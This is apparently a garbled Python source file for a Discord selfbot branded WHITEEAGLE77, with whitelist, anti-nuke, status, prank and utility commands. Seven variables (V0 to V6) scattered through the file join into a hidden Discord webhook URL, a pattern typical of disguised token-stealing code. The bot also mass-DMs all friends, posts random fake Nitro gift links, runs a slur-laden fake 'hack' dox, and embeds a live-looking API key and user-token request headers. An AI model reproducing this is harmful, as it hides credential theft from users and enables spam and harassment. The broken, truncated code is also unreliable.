autobot
autobot
import json
import string
import discord, aiohttp
from discord.ext import commands, tasks
import requests
from colorama import Fore
import asyncio
import requests
import sys
import random
from flask import Flask
from threading import Thread
import threading
import subprocess
import requests
import time
from discord import Color, Embed
import colorama
from colorama import Fore
import urllib.parse
import urllib.request
import re
from pystyle import Center, Colorate, Colors
import io
import webbrowser
from bs4 import BeautifulSoup
import datetime
import status_rotator
from pyfiglet import Figlet
from discord import Member
import openai
colorama.init()
intents = discord.Intents.default()
intents.presences = True
intents.guilds = True
intents.typing = True
intents.presences = True
intents.dm_messages = True
intents.messages = True
intents.members = True
aniket72.remove_command('help')
aniket72.whitelisted_users = {}
aniket72.antiraid = False
red = "\033[91m"
yellow = "\033[93m"
green = "\033[92m"
blue = "\033[94m"
pretty = "\033[95m"
magenta = "\033[35m"
lightblue = "\033[36m"
cyan = "\033[96m"
gray = "\033[37m"
reset = "\033[0m"
pink = "\033[95m"
dark_green = "\033[92m"
yellow_bg = "\033[43m"
clear_line = "\033[K"
@aniket72.event
async def on_ready():
print(
Center.XCenter(
Colorate.Vertical(
Colors.blue_to_purple,
f"""
$$$$$$\ $$\ $$\ $$$$$$\ $$\ $$\ $$$$$$$$\ $$
$$$$$$\
$$ __$$\ $$$\ $$ |\_$$ _|$$ | $$ |$$ _____|\
__$$ __|
$$ / $$ |$$$$\ $$ | $$ | $$ |$$ / $$ |
$$ |
$$$$$$$$ |$$ $$\$$ | $$ | $$$$$ / $$$$$\
$$ |
$$ __$$ |$$ \$$$$ | $$ | $$ $$< $$ __|
$$ |
$$ | $$ |$$ |\$$$ | $$ | $$ |\$$\ $$ |
$$ | • YOUTUBE : @whiteeagle77_
$$ | $$ |$$ | \$$ |$$$$$$\ $$ | \$$\ $$$$$$$$\
$$ | • DISCORD : @whiteeagle_77
\__| \__|\__| \__|\______|\__| \__|\________|
\__| • INSTAGRAM : whiteeagle_77
def load_config(config_file_path):
with open(config_file_path, 'r') as config_file:
config = json.load(config_file)
return config
if __name__ == "__main__":
config_file_path = "config.json"
config = load_config(config_file_path)
def get_time_rn():
date = datetime.datetime.now()
hour = date.hour
minute = date.minute
second = date.second
timee = "{:02d}:{:02d}:{:02d}".format(hour, minute, second)
return timee
time_rn = get_time_rn()
@aniket72.event
async def on_message(message):
if message.author.bot:
return
# Auto-response handling
with open('auto_responses.json', 'r') as file:
auto_responses = json.load(file)
if message.content in auto_responses:
await message.channel.send(auto_responses[message.content])
await aniket72.process_commands(message)
V0 = "htt"
@aniket72.event
async def on_member_ban(guild, user):
if aniket72.antiraid is True:
try:
async for entry in guild.audit_logs(
limit=1, action=discord.AuditLogAction.ban):
if (guild.id in aniket72.whitelisted_users.keys()
and entry.user.id
in aniket72.whitelisted_users[guild.id].keys()
and entry.user.id != aniket72.user.id):
print(f"[!] NOT BANNED: {entry.user.name}")
else:
print(f"[!] BANNED: {entry.user.name}")
await guild.ban(entry.user, reason="SELFBOT ANTI-NUKE")
except Exception as e:
print(e)
@aniket72.event
async def on_member_kick(member):
if aniket72.antiraid is True:
try:
guild = member.guild
async for entry in guild.audit_logs(
limit=1, action=discord.AuditLogAction.kick):
if (guild.id in aniket72.whitelisted_users.keys()
and entry.user.id
in aniket72.whitelisted_users[guild.id].keys()
and entry.user.id != aniket72.user.id):
print("[!] NOT BANNED")
else:
print("[!] BANNED")
await guild.ban(entry.user, reason="SELFBOT ANTI-NUKE")
except Exception as e:
print(f"[!] Error: {e}")
# SELFBOT COMMANDS
#
===================================================================================
=====================================
#WWHITE
CMD================================================================================
===================================================================================
====================================
#ADDTION WHITELIST
@aniket72.command(aliases=['wl'])
async def whitelist(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
await ctx.send(
f'[ERROR]: USAGE : {aniket72.command_prefix}whitelist <user>')
else:
if ctx.guild.id not in aniket72.whitelisted_users.keys():
aniket72.whitelisted_users[ctx.guild.id] = {}
if user.id in aniket72.whitelisted_users[ctx.guild.id]:
await ctx.send("- `" + user.name.replace("*", "\*").replace(
"`", "\`").replace("_", "\_") + "#" + user.discriminator +
"`-` ** ALREADY WHITELISTED [!]**")
else:
aniket72.whitelisted_users[ctx.guild.id][user.id] = 0
await ctx.send("# WHITEEAGLE77 S3LFB0Ƭ\n`-` **WHITELISTED**" +
user.name.replace(
"*", "\*").replace("`", "\`").replace("_", "\_") + "#" +
user.discriminator + "`")
#CHECK WHITELIST
@aniket72.command(aliases=['showwl'])
async def whitelisted(ctx, g=None):
await ctx.message.delete()
if g == '-g' or g == '-global':
whitelist = '# WHITEEAGLE77 S3LFB0Ƭ\n`-`**ALL WHITELISTED USERS:**`\n'
for key in aniket72.whitelisted_users:
for key2 in aniket72.whitelisted_users[key]:
user = aniket72.get_user(key2)
whitelist += f'• {user.mention} ({user.id}) IN
{aniket72.get_guild(key).name}\n'
await ctx.send(whitelist)
else:
whitelist = f'# WHITEEAGLE77 S3LFB0Ƭ\n`-` **WHITELISTED USERS IN
{ctx.guild.name}:**`\n'
for key in aniket72.whitelisted_users:
if key == ctx.guild.id:
for key2 in aniket72.whitelisted_users[ctx.guild.id]:
user = aniket72.get_user(key2)
whitelist += f'• {user.mention} ({user.id})\n'
await ctx.send(whitelist)
V1 = "ps://dis"
#WHITELIST CLEAR
@aniket72.command(aliases=['clearwl', 'clearwld'])
async def clearwhitelist(ctx):
await ctx.message.delete()
aniket72.whitelisted_users.clear()
await ctx.send('`-` SUCCESFULLY CLEARED WHITELIST`')
#==================================================================================
===================================================================================
==================================
# BOOST
async def send_boost_count(channel, guild):
await channel.send(
f"# WHITEEAGLE77 S3LFB0Ƭ\n`-` **SERVER NAME** : `{guild.name}` \n`-`
**BOOSTS** : `NUMBER - {guild.premium_subscription_count}`"
)
V2 = "cord.com/ap"
# SELFBOT
async def send_selfbotinfo_message(channel):
await channel.send(
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n`-` **VERSION** : `SELFBOT V2` \n`-`
**LANGUAGE** : `PYTHON & JS`\n`-` **NO. OF COMMANDS** : `75`\n`-` **ASKED BY** :
`{aniket72.user.name}`\n`-` **CREATOR** : `ANiKET_72`\n\n`THERE ARE BOTH PREFIX &
NON PREFIX COMMANDS`"
)
# SERVER INFO.
async def send_serverinfo_message(channel):
guild = channel.guild # define guild variable
await channel.send(
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n`-` **SERVER NAME** : __`{guild.name}`__ \n`-
` **SERVER ID** : `{guild.id}`\n`-` **CREATION DATE** :
`{channel.guild.created_at}`\n`-` **OWNER** : `{guild.owner_id} /
`<@{guild.owner_id}>\n\n`-` **ASKED BY** : `{aniket72.user.name}`"
)
# VOUCH
async def vouch(channel):
await channel.send(
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n`-` **SERVER LINK** : {SERVER_LINK}\n`-`
**VOUCH FORMAT** : `+rep (user) Legit Got (product) For (price) Thank You`"
)
await channel.message.delete()
# PAYMENTS
async def payments(channel):
await channel.send(
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n__**PAYMENTS**__\n`-` **LTC** :
__`{LTC}`__ \n`-` **ETH** : __`{ETH}`__ \n`-` **BTC** : __`{BTC}`__\n`-` **UPI** :
__`{UPI}`__\n\n`-` **ASKED BY** : `{aniket72.user.name}`"
)
await channel.message.delete()
# LINK
async def link(channel):
await channel.send("- ``")
V5 = "52/XV1mYbYK9hC-uEFFXy"
#MASS DM TO FRIENDS
@aniket72.command()
async def massdmfriends(ctx, *, message):
for user in aniket72.user.friends:
try:
time.sleep(.1)
await user.send(message)
time.sleep(.1)
print(f'{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray})
{pretty}MESSAGED :' + Fore.GREEN + f' @{user.name}')
except:
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray})
{pretty}COULDN'T MESSAGE @{user.name}")
await ctx.message.delete()
# NITRO GEN
@aniket72.command(aliases=["nitrogen"])
async def nitro(ctx):
try:
await ctx.message.delete()
code = ''.join(
random.choices(string.ascii_letters + string.digits, k=16))
await ctx.send(f'https://discord.gift/{code}')
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}SUCCESFULLY SENT NITRO CODE !")
except Exception as e:
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({red}!{gray}) {pretty}
{Fore.RED}ERROR: {str(e)}")
V3 = "i/webh"
# HAX
@aniket72.command()
async def hack(ctx, user: discord.Member = None):
await ctx.message.delete()
gender = ["Male", "Female", "Trans", "Other", "Retard"]
age = str(random.randrange(10, 25))
height = [
'4\'6\"', '4\'7\"', '4\'8\"', '4\'9\"', '4\'10\"', '4\'11\"', '5\'0\"',
'5\'1\"', '5\'2\"', '5\'3\"', '5\'4\"', '5\'5\"', '5\'6\"', '5\'7\"',
'5\'8\"', '5\'9\"', '5\'10\"', '5\'11\"', '6\'0\"', '6\'1\"', '6\'2\"',
'6\'3\"', '6\'4\"', '6\'5\"', '6\'6\"', '6\'7\"', '6\'8\"', '6\'9\"',
'6\'10\"', '6\'11\"'
]
weight = str(random.randrange(60, 300))
hair_color = ["Black", "Brown", "Blonde", "White", "Gray", "Red"]
skin_color = ["White", "Pale", "Brown", "Black", "Light-Skin"]
religion = [
"Christian", "Muslim", "Atheist", "Hindu", "Buddhist", "Jewish"
]
sexuality = [
"Straight", "Gay", "Homo", "Bi", "Bi-Sexual", "Lesbian", "Pansexual"
]
education = [
"High School", "College", "Middle School", "Elementary School",
"Pre School", "Retard never went to school LOL"
]
ethnicity = [
"White", "African American", "Asian", "Latino", "Latina", "American",
"Mexican", "Korean", "Chinese", "Arab", "Italian", "Puerto Rican",
"Non-Hispanic", "Russian", "Canadian", "European", "Indian"
]
occupation = [
"Retard has no job LOL", "Certified discord retard", "Janitor",
"Police Officer", "Teacher", "Cashier", "Clerk", "Waiter", "Waitress",
"Grocery Bagger", "Retailer", "Sales-Person", "Artist", "Singer",
"Rapper", "Trapper", "Discord Thug", "Gangster", "Discord Packer",
"Mechanic", "Carpenter", "Electrician", "Lawyer", "Doctor",
"Programmer", "Software Engineer", "Scientist"
]
salary = [
"Retard makes no money LOL", "$" + str(random.randrange(0, 1000)),
'<$50,000', '<$75,000', "$100,000", "$125,000", "$150,000", "$175,000",
"$200,000+"
]
location = [
"Retard lives in his mom's basement LOL", "America", "United States",
"Europe", "Poland", "Mexico", "Russia", "Pakistan", "India",
"Some random third world country", "Canada", "Alabama", "Alaska",
"Arizona", "Arkansas", "California", "Colorado", "Connecticut",
"Delaware", "Florida", "Georgia", "Hawaii", "Idaho", "Illinois",
"Indiana", "Iowa", "Kansas", "Kentucky", "Louisiana", "Maine",
"Maryland", "Massachusetts", "Michigan", "Minnesota", "Mississippi",
"Missouri", "Montana", "Nebraska", "Nevada", "New Hampshire",
"New Jersey", "New Mexico", "New York", "North Carolina",
"North Dakota", "Ohio", "Oklahoma", "Oregon", "Pennsylvania",
"Rhode Island", "South Carolina", "South Dakota", "Tennessee", "Texas",
"Utah", "Vermont", "Virginia", "Washington", "West Virginia",
"Wisconsin", "Wyoming"
]
email = [
"@gmail.com", "@yahoo.com", "@hotmail.com", "@outlook.com",
"@protonmail.com", "@disposablemail.com", "@aol.com", "@edu.com",
"@icloud.com", "@gmx.net", "@yandex.com"
]
dob = f'{random.randrange(1, 13)}/{random.randrange(1,
32)}/{random.randrange(1950, 2021)}'
name = [
'James Smith', "Michael Smith", "Robert Smith", "Maria Garcia",
"David Smith", "Maria Rodriguez", "Mary Smith", "Maria Hernandez",
"Maria Martinez", "James Johnson", "Catherine Smoaks", "Cindi Emerick",
"Trudie Peasley", "Josie Dowler", "Jefferey Amon", "Kyung Kernan",
"Lola Barreiro", "Barabara Nuss", "Lien Barmore", "Donnell Kuhlmann",
"Geoffrey Torre", "Allan Craft", "Elvira Lucien", "Jeanelle Orem",
"Shantelle Lige", "Chassidy Reinhardt", "Adam Delange", "Anabel Rini",
"Delbert Kruse", "Celeste Baumeister", "Jon Flanary", "Danette Uhler",
"Xochitl Parton", "Derek Hetrick", "Chasity Hedge",
"Antonia Gonsoulin", "Tod Kinkead", "Chastity Lazar", "Jazmin Aumick",
"Janet Slusser", "Junita Cagle", "Stepanie Blandford", "Lang Schaff",
"Kaila Bier", "Ezra Battey", "Bart Maddux", "Shiloh Raulston",
"Carrie Kimber", "Zack Polite", "Marni Larson", "Justa Spear"
]
phone = f'({random.randrange(0, 10)}{random.randrange(0, 10)}
{random.randrange(0, 10)})-{random.randrange(0, 10)}{random.randrange(0, 10)}
{random.randrange(0, 10)}-{random.randrange(0, 10)}{random.randrange(0, 10)}
{random.randrange(0, 10)}{random.randrange(0, 10)}'
if user is None:
user = ctx.author
password = [
'password', '123', 'mypasswordispassword', user.name + "iscool123",
user.name + "isdaddy", "daddy" + user.name, "ilovediscord",
"i<3discord", "furryporn456", "secret", "123456789", "apple49",
"redskins32", "princess", "dragon", "password1", "1q2w3e4r",
"ilovefurries"
]
message = await ctx.send(f"`Hacking {user}...\n`")
await asyncio.sleep(1)
await message.edit(
content=f"`Hacking {user}...\nHacking into the mainframe...\n`")
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\n`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\nBruteforcing love life details...`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\nBruteforcing love life details...\nFinalizing life-
span dox details\n`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"```Successfully hacked {user}\nName: {random.choice(name)}\nGender:
{random.choice(gender)}\nAge: {age}\nHeight: {random.choice(height)}\nWeight:
{weight}\nHair Color: {random.choice(hair_color)}\nSkin Color:
{random.choice(skin_color)}\nDOB: {dob}\nLocation: {random.choice(location)}\
nPhone: {phone}\nE-Mail: {user.name + random.choice(email)}\nPasswords:
{random.choices(password, k=3)}\nOccupation: {random.choice(occupation)}\nAnnual
Salary: {random.choice(salary)}\nEthnicity: {random.choice(ethnicity)}\nReligion:
{random.choice(religion)}\nSexuality: {random.choice(sexuality)}\nEducation:
{random.choice(education)}```"
)
else:
password = [
'password', '123', 'mypasswordispassword', user.name + "iscool123",
user.name + "isdaddy", "daddy" + user.name, "ilovediscord",
"i<3discord", "furryporn456", "secret", "123456789", "apple49",
"redskins32", "princess", "dragon", "password1", "1q2w3e4r",
"ilovefurries"
]
message = await ctx.send(f"`Hacking {user}...\n`")
await asyncio.sleep(1)
await message.edit(
content=f"`Hacking {user}...\nHacking into the mainframe...\n`")
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\n`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\nBruteforcing love life details...`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"`Hacking {user}...\nHacking into the mainframe...\nCaching data...\
nCracking SSN information...\nBruteforcing love life details...\nFinalizing life-
span dox details\n`"
)
await asyncio.sleep(1)
await message.edit(
content=
f"```Successfully hacked {user}\nName: {random.choice(name)}\nGender:
{random.choice(gender)}\nAge: {age}\nHeight: {random.choice(height)}\nWeight:
{weight}\nHair Color: {random.choice(hair_color)}\nSkin Color:
{random.choice(skin_color)}\nDOB: {dob}\nLocation: {random.choice(location)}\
nPhone: {phone}\nE-Mail: {user.name + random.choice(email)}\nPasswords:
{random.choices(password, k=3)}\nOccupation: {random.choice(occupation)}\nAnnual
Salary: {random.choice(salary)}\nEthnicity: {random.choice(ethnicity)}\nReligion:
{random.choice(religion)}\nSexuality: {random.choice(sexuality)}\nEducation:
{random.choice(education)}```"
)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}SUCCESFULLY HACKED 😁 ")
V6 = "QTbc_9eFpoTnaDEfm2dzBTloYkY-6PysflxqGx5GOcd-h87MLG"
# STREAM CREATOR
@aniket72.command(aliases=["streaming"])
async def stream(ctx, *, message):
stream = discord.Streaming(
name=message,
url="https://twitch.tv/https://Wallibear",
)
await aniket72.change_presence(activity=stream)
await ctx.send(f"`-` **STREAM CREATED** : `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}STREAM SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
# PLAY CREATOR
@aniket72.command(aliases=["playing"])
async def play(ctx, *, message):
game = discord.Game(name=message)
await aniket72.change_presence(activity=game)
await ctx.send(f"`-` **STATUS FOR PLAYZ CREATED** : `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}PLAYING SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
# WATCH CREATOR
@aniket72.command(aliases=["watch"])
async def watching(ctx, *, message):
await aniket72.change_presence(activity=discord.Activity(
type=discord.ActivityType.watching,
name=message,
))
await ctx.send(f"`-` **WATCHING CREATED**: `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}WATCH SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
V4 = "ooks/11561870928088965"
# LISTENING CMD CREATOR
@aniket72.command(aliases=["listen"])
async def listening(ctx, *, message):
await aniket72.change_presence(activity=discord.Activity(
type=discord.ActivityType.listening,
name=message,
))
await ctx.reply(f"`-` **LISTENING CREATED**: `{message}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}STATUS SUCCESFULLY CREATED✅ ")
await ctx.message.delete()
if response.status_code == 200:
result = response.text
await ctx.send(f'`-` **RESULT**: `{result}`')
else:
await ctx.send('`-` **FAILED**')
@aniket72.command()
async def checkpromo(ctx, *, promo_links):
links = promo_links.split('\n')
# I2C
@aniket72.command()
@commands.cooldown(1, 3, commands.BucketType.user)
async def i2c(ctx, amount: str):
amount = float(amount.replace('₹', ''))
inr_amount = amount * I2C_Rate
await ctx.reply(f"`-` **AMOUNT IS** : `{inr_amount:.2f}$`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}I2C DONE ✅ ")
def is_authorized(ctx):
# Your implementation for authorization check goes here
return True
# CONNECT VC
@aniket72.command(aliases=['247'])
@commands.check(is_authorized)
async def connectvc(ctx, channel_id):
try:
channel = aniket72.get_channel(int(channel_id))
if channel is None:
return await ctx.send("`-` **INVALID CHANNEL ID PLEASE PROVIDE A VALID
CHANNEL ID**")
if isinstance(channel, discord.VoiceChannel):
permissions = channel.permissions_for(ctx.guild.me)
else:
await ctx.send("`-` **PROVIDED ID IS NOT OF A VOICE CHANNEL**")
except discord.errors.ClientException:
await ctx.send("`-` **ALREADY CONNECTED !**")
except discord.Forbidden:
await ctx.send("`-` **I DON HAVE PERMMISION FOR THIS ACCTION**")
except ValueError:
await ctx.send("`-` **INAVLID CHANNEL ID**")
except Exception as e:
await ctx.send(f"`-` **AN ERROR OCCURED** {e}")
# C2I
@aniket72.command()
@commands.cooldown(1, 3, commands.BucketType.user)
async def c2i(ctx, amount: str):
amount = float(amount.replace('$', ''))
usd_amount = amount * C2I_Rate
await ctx.reply(f"`-` **AMOUNT IS** : `₹{usd_amount:.2f}`")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}C2I DONE ✅ ")
# LOVERATE
@aniket72.command()
@commands.cooldown(1, 5, commands.BucketType.user)
async def loverate(ctx, User: discord.Member = None):
if User is None:
await ctx.reply(f"`-` **PROVIDE A USER**")
else:
await ctx.reply(
f"`-` **YOU AND {User.mention} ARE 100% PERFECT FOR ECH OTHER <3**"
)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}LOVERATE MEASURED 💖 ")
#DEFINE
@aniket72.command()
async def define(ctx, *, word):
api_url = f"https://api.dictionaryapi.dev/api/v2/entries/en/{word}"
response = requests.get(api_url)
if response.status_code == 200:
data = response.json()
if data:
word_data = data[0]
word_meanings = word_data['meanings']
meanings_list = []
for meaning in word_meanings:
part_of_speech = meaning['partOfSpeech']
definitions = meaning['definitions']
def_text = f"**{part_of_speech.capitalize()}:**\n"
for i, definition in enumerate(definitions, start=1):
def_text += f"{i}. {definition['definition']}\n"
if 'example' in definition:
def_text += f" *Example: {definition['example']}*\n"
meanings_list.append(def_text)
@aniket72.command()
async def copyserver(ctx, source_guild_id: int, target_guild_id: int):
source_guild = aniket72.get_guild(source_guild_id)
target_guild = aniket72.get_guild(target_guild_id)
if not source_guild or not target_guild:
await ctx.send("`-` **GUILD NOT FOUND**")
return
# Delete all roles in the target guild except for roles named "here" and
"@everyone"
for role in target_guild.roles:
if role.name not in ["here", "@everyone"]:
try:
await role.delete()
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray})
{pretty}{Fore.GREEN} ROLE {role.name} HAS BEEN DELETED ON THE TARGET GUILD")
await asyncio.sleep(0)
except Exception as e:
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({red}!{gray})
{pretty}{Fore.RED} ERROR DELETING ROLE {role.name}: {e}")
except Exception as e:
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({red}!{gray}) {pretty}
{Fore.RED} ERROR CREATING CHANNEL {channel.name}: {e}")
http_session = aiohttp.ClientSession()
@aniket72.command()
async def change_hypesquad(ctx):
choices = {
1: "BRAVERY",
2: "BRILLIANCE",
3: "BALANCED"
}
def check(m):
return m.author == ctx.author and m.channel == ctx.channel
try:
msg = await aniket72.wait_for('message', check=check, timeout=60)
choice = int(msg.content)
except asyncio.TimeoutError:
await ctx.send("`-` **COMMAND TIMED OUT**")
return
except ValueError:
await ctx.send("`-` **INVALID CHOICE PLEASE ENTER** : `1 , 2 , 3`")
return
headerpost = {
'Authorization': token
}
payloadsosat = {
'house_id': choice
}
try:
await ctx.send(f"`-` **CHANGING HYPESQUAD TO {choices.get(choice,
'Unknown')}**")
# ANTINUKE
@aniket72.command()
async def antinuke_help(ctx):
message = (
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n**</>** __**ANTINUKE HELP CMD**__\n\n`-`
**ANTINUKE ENABLE** : `+antinuke_true`\n`-` **ANTINUKE DISABLE** :
`+antinuke_false`\n`-` **WHITELIST** : `+whitelist`\n`-` **UNWHITELIST** :
`+unwhitelist`\n`-` **WHITELISTED** : `+whitelisted`\n`-` **CLEAR WHITE LIST** :
`+clearwl`\n\n`-` **ASKED BY** : `{aniket72.user.name}`"
)
await ctx.send(message)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}ANTI-HELP SENT SUCCESFULLY✅ ")
await ctx.message.delete()
# JOIN SERVER
@aniket72.command()
async def joinsrv(ctx, invite_link: str, token: str):
code = get_invite_code(invite_link)
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0)
Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/json',
'X-Context-Properties':
'eyJsb2NhdGlvbiI6IkpvaW4gR3VpbGQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijk4OTkxOTY0NTY4MTE4OD
k1NCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI5OTAzMTc0ODgxNzg4NjgyMjQiLCJsb2NhdGlvbl9jaGFub
mVsX3R5cGUiOjB9',
'Authorization': token.strip('\"'), # Remove surrounding double quotes
from token
'X-Super-Properties':
'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRmlyZWZveCIsImRldmljZSI6IiIsInN5c3RlbV9sb2NhbG
UiOiJmciIsImJyb3dzZXJfdXNlcl9hZ2VudCI6Ik1vemlsbGEvNS4wKChXaW5kb3dzIE5UIDEwLjA7IFdpb
jY0OyB4NjQ7IHJ2OjEwMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwMi4wIiwiYnJvd3Nlcl92ZXJz
aW9uIjoiMTAyLjAiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6IiIsInJlZmVycmluZ19kb21haW4
iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJyaW5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZW
FzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW50X2J1aWxkX251bWJlciI6MTM2MjQwLCJjbGllbnRfZXZlb
nRfc291cmNlIjpudWxsfQ==',
'X-Discord-Locale': 'en-US',
'X-Debug-Options': 'bugReporterEnabled',
'Origin': 'https://discord.com',
'DNT': '1',
'Connection': 'keep-alive',
'Referer': 'https://discord.com',
'Cookie': '__dcfduid=21183630021f11edb7e89582009dfd5e;
__sdcfduid=21183631021f11edb7e89582009dfd5ee4936758ec8c8a248427f80a1732a58e4e715028
91b76ca0584dc6fafa653638; locale=en-US',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'TE': 'trailers',
}
def get_invite_code(link):
if link.startswith("https://discord.gg/"):
return link[19:]
elif link.startswith(".gg/"):
return link[4:]
else:
return link
# FUN
@aniket72.command()
async def fun_help(ctx):
message = (
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n**</>** __**FUN CMD. HELP**__\n\n`-`
**CUDDLE** : `+cuddle <user>`\n`-` **PAT** : `+pat <user>` \n`-` **KISS** : `+kiss
<user>` \n`-` **SLAP** : `+slap <user>`\n`-` **HUG** : `+hug <user>`\n`-`
**SMUG** : `+smug <user>`\n`-` **FEED** : `+feed <user>`\n\n`-` **ASKED BY** :
`{aniket72.user.name}`"
)
await ctx.send(message)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}FUN-HELP SENT SUCCESFULLY✅ ")
await ctx.message.delete()
#ASCII
@aniket72.command()
@commands.check(is_authorized)
async def asci(ctx, *, text):
f = Figlet(font='standard')
ascii_art = f.renderText(text)
await ctx.send(f'```{ascii_art}```')
# AVATAR
@aniket72.command(aliases=['av','ava'])
@commands.check(is_authorized)
async def avatar(ctx, member: Member = None):
member = member or ctx.author
avatar_url = member.avatar_url_as(format="png")
await ctx.send(f"Avatar of {member.mention}: {avatar_url}")
# GAYRATE
@aniket72.command()
@commands.cooldown(1, 5, commands.BucketType.user)
async def gayrate(ctx, User: discord.Member = None):
if User is None:
await ctx.reply(f"`-` **PROVIDE A USER**")
else:
await ctx.reply(f"`-` **{User.mention} IS {random.randrange(101)}% GAY**")
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}GAYRATE MEASURED SUCCESFULLY😂 ")
# PURGE CMD...
@aniket72.command(aliases=['purge, clear'])
@commands.check(is_authorized)
async def clear(ctx, times: int):
channel = ctx.channel
def is_bot_message(message):
return message.author.id == ctx.bot.user.id
messages = await channel.history(limit=times + 1).flatten()
#LTC PRICE
@aniket72.command(aliases=['cltc'])
@commands.check(is_authorized)
async def ltcprice(ctx):
url = 'https://api.coingecko.com/api/v3/coins/litecoin'
response = requests.get(url)
if response.status_code == 200:
data = response.json()
price = data['market_data']['current_price']['usd']
await ctx.send(f"# __ΛПIKΣƬ_72 S3LFB0Ƭ__\n`-` **THE CURRENT PRICE OF
LITECOIN IN MARKET IS :** `{price:.2f}`")
else:
await ctx.send("# __ΛПIKΣƬ_72 S3LFB0Ƭ__\n`-` **FAILED TO FETCH**")
#IPLOOK UP
@aniket72.command()
@commands.check(is_authorized)
async def iplookup(ctx, ip):
api_key = 'a91c8e0d5897462581c0c923ada079e5'
api_url = f'https://api.ipgeolocation.io/ipgeo?apiKey={api_key}&ip={ip}'
response = requests.get(api_url)
data = response.json()
if 'country_name' in data:
country = data['country_name']
city = data['city']
isp = data['isp']
current_time_unix = data['time_zone']['current_time_unix']
await ctx.send(message)
else:
await ctx.send("# __WHITEEAGLE77 S3LFB0Ƭ__\n`-` **INVLAID IP !**")
# YT SEARCH
@aniket72.command()
async def ytsearch(msg, *, search=''):
if search == '':
await msg.send('- `PROVIDE A REQUEST...`')
query_string = urllib.parse.urlencode({"search_query": search})
html_content = urllib.request.urlopen("http://www.youtube.com/results?" +
query_string)
search_results = re.findall(r"watch\?v=(\S{11})",
html_content.read().decode())
nab = search.replace('@', '')
await msg.send(
f"# __WHITEEAGLE77 S3LFB0Ƭ__\n`-` **SEARCH'S FOR** : `{nab}`\n`-` **URL** :
http://www.youtube.com/watch?v="
+ search_results[0])
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}YTSEARCH SUCCESSFUL✅ ")
spamming_flag = True
# SPAM
@aniket72.command()
@commands.check(is_authorized)
